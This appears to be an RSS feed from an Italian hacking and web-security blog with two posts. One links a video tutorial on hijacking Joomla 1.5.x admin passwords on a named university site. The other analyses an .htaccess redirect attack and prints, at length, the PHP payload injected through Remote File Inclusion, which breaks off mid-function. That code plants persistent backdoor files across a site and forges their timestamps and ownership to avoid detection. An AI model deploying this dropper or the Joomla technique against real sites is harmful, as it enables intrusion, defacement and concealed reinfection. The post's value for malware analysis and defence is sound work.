<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Capn3m0 WebSecurity &#187; defacement</title>
	<atom:link href="http://www.capn3m0.org/tag/defacement/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.capn3m0.org</link>
	<description>...hacking, security, wifi and more...</description>
	<lastBuildDate>Wed, 08 Feb 2012 16:58:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Neuromancer &#8211; Hacking sites with Joomla (Universidade USP)</title>
		<link>http://www.capn3m0.org/%e3%80%8cneuromancer%e3%80%8dhacking-sites-with-joomla-universidade-usp.html</link>
		<comments>http://www.capn3m0.org/%e3%80%8cneuromancer%e3%80%8dhacking-sites-with-joomla-universidade-usp.html#comments</comments>
		<pubDate>Sun, 31 Oct 2010 01:02:54 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[joomla 1.5]]></category>
		<category><![CDATA[neuromancer]]></category>
		<category><![CDATA[security exploit]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[universidade]]></category>
		<category><![CDATA[usp]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=524</guid>
		<description><![CDATA[Video Tutorial dell&#8217;utilizzo della nota (e vecchia) vulnerabilità Joomla 1.5.x Remote Admin Password Change Original post: 「Neuromancer」Hacking sites with Joomla (Universidade USP)]]></description>
			<content:encoded><![CDATA[<p>Video Tutorial dell&#8217;utilizzo della nota (e vecchia) vulnerabilità <a href="http://www.capn3m0.org/joomla-15x-remote-admin-password-change.html" target="_self"><strong>Joomla 1.5.x Remote Admin Password Change</strong></a></p>
<p><object width="370" height="305" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="data" value="http://www.youtube.com/v/487RCxcT_og?f=videos&amp;app=youtube_gdata" /><param name="src" value="http://www.youtube.com/v/487RCxcT_og?f=videos&amp;app=youtube_gdata" /><embed width="370" height="305" type="application/x-shockwave-flash" src="http://www.youtube.com/v/487RCxcT_og?f=videos&amp;app=youtube_gdata" data="http://www.youtube.com/v/487RCxcT_og?f=videos&amp;app=youtube_gdata" /></object></p>
<p><img src="http://www.capn3m0.org/wp-content/uploads/2010/10/6078cffcdefault.jpg" alt="Neuromancer   Hacking sites with Joomla (Universidade USP)"  title="Neuromancer   Hacking sites with Joomla (Universidade USP) pics" /></p>
<p>Original post:<br />
<a title="「Neuromancer」Hacking sites with Joomla (Universidade USP)" href="http://www.youtube.com/watch?v=487RCxcT_og&amp;feature=youtube_gdata" target="_blank">「Neuromancer」Hacking sites with Joomla (Universidade USP)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/%e3%80%8cneuromancer%e3%80%8dhacking-sites-with-joomla-universidade-usp.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 2</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html#comments</comments>
		<pubDate>Sun, 08 Feb 2009 17:41:03 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=119</guid>
		<description><![CDATA[Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola. Per chi volesse leggerlo ecco il link: http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/ In questo articolo vi informo che ho individuato la prima chiamata che viene fatta [...]]]></description>
			<content:encoded><![CDATA[<p>Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola.</p>
<p>Per chi volesse leggerlo ecco il link: <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/</strong></a></p>
<p>In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di <a href="http://it.wikipedia.org/wiki/Remote_File_Inclusion" target="_blank"><strong>Remote File Inclusione (RFI).</strong></a></p>
<p><span id="more-119"></span></p>
<p>Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati &#8220;<strong>nomegofer.php</strong>&#8221; in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$START</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$WD_TIMEOUT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$CURFILE</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;wb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_mtime</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileperms</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chgrp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filegroup</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chown</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileowner</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_mtime</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$f</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> walkdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'_walkdir'</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$START</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FL</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_f</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_f&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_d&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_s&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_e</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_e&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$START</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;=</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'..'</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
                walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_d</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_d</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_f</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_e</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$func_e</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$R</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$R</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$R</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$CURFILE</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fe</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'php'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$FN</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;namogofer.<span style="color: #006699; font-weight: bold;">$fe</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_s<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'fn'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'dir'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'file'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'simtype'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_d<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span> <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dir'</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_f<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'simtype'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_e<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$C</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #339933;">,</span><span style="color: #000088;">$FN</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
